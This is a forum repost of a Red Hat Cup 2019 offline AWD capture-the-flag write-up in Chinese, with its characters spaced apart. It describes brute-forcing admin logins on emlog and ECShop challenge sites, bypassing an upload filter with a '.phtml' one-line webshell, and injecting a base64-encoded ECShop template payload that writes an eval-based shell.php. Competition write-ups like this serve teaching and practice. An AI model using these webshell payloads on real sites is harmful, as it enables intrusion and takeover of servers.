搜索

[20265] 2019-11-25_红帽杯线下AWDpluswriteup

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2019-11-25_红帽杯线下AWDpluswriteup 红 帽 杯 线 下 A W D   p l u s   w r i t e u p 原 创   K h a n 安 全 团 队   K h a n 安 全 攻 防 实 验 室   2 0 1 9 - 1 1 - 2 5 粤 湾 期 货 粤 湾 期 货 访 问 是 一 个 由 e m l o g 的 博 客 站 点 。   直 接 访 问 后 台 ， 得 知 存 在 a d m i n 用 户 对 a d m i n 进 行 暴 力 破 解   上 传 附 件 处 限 制 了 文 件 类 型 ， 发 现 可 添 加 允 许 添 加 后 缀 名 。 尝 试 了 p h p ， p h p 5 等 类 似 添 加 后 ， 都 会 被 更 改 为 x 类 型 ， 最 后 尝 试 添 加 p h t m l ， 成 功 添 加 。  
然 后 直 接 去 写 文 章 处 添 加 附 件 ， 并 上 传 后 缀 为 p t h m l 的 一 句 话   成 功 上 传 后 ， 右 键 附 件 复 制 链 接 地 址 ， 上 菜 刀 ， 成 功 g e t s h e l l 。 并 在 根 目 录 下 找 到 f l a g  
  粤 湾 租 赁 粤 湾 租 赁 访 问 w e b 题 目 ， 系 统 为 e c s h o p c m s ， 发 现 两 个 登 录 处 ， 一 个 是 前 台 登 陆 ， 一 个 是 后 台 登 陆 ， 前 台 登 陆 并 未 发 现 什 么 可 以 拿 下 的 点 。  
已 知 存 在 a d m i n 用 户 ， 进 行 爆 破   e c s h o p 有 已 知 的 g e t s h e l l 方 法 ， 直 接 在 模 板 管 理 – 语 言 项 编 辑 直 接 修 改 来 写 入 s h e l l 文 件 ； 搜 索 关 键 字 ： 用 户 信 息 ； 用 户 信 息 四 个 字 一 定 不 要 删 除 ， 在 之 后 添 加 ： ( b a s e 6 4 加 密 去 掉 了 最 后 的 = 号 ) 1 . $ { $ { f p u t s ( f o p e n ( b a s e 6 4 _ d e c o d e ( c 2 h l b G w u c G h w ) , w ) ,   b a s e 6 4 _ d e c o d e ( P D 9 w a H A g Z X Z h b C g k X 1 B P U 1 R b J 2 g n X S k 7 P z 3 ) ) } }   而 后 保 存 ， 保 存 后 访 问 u s e r . p h p 即 可 在 根 目 录 下 生 成 s h e l l . p h p 的 s h e l l 。 然 后 上 菜 刀 ， 成 功 在 根 目 录 获 得 f l a g 。      
手 握 日 月 摘 星 辰 ， 安 全 路 上 永 不 止 步 。 手 握 日 月 摘 星 辰 ， 安 全 路 上 永 不 止 步 。                                                                                                             -   K h a n 攻 防 安 全 实 验 室 攻 防 安 全 实 验 室
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理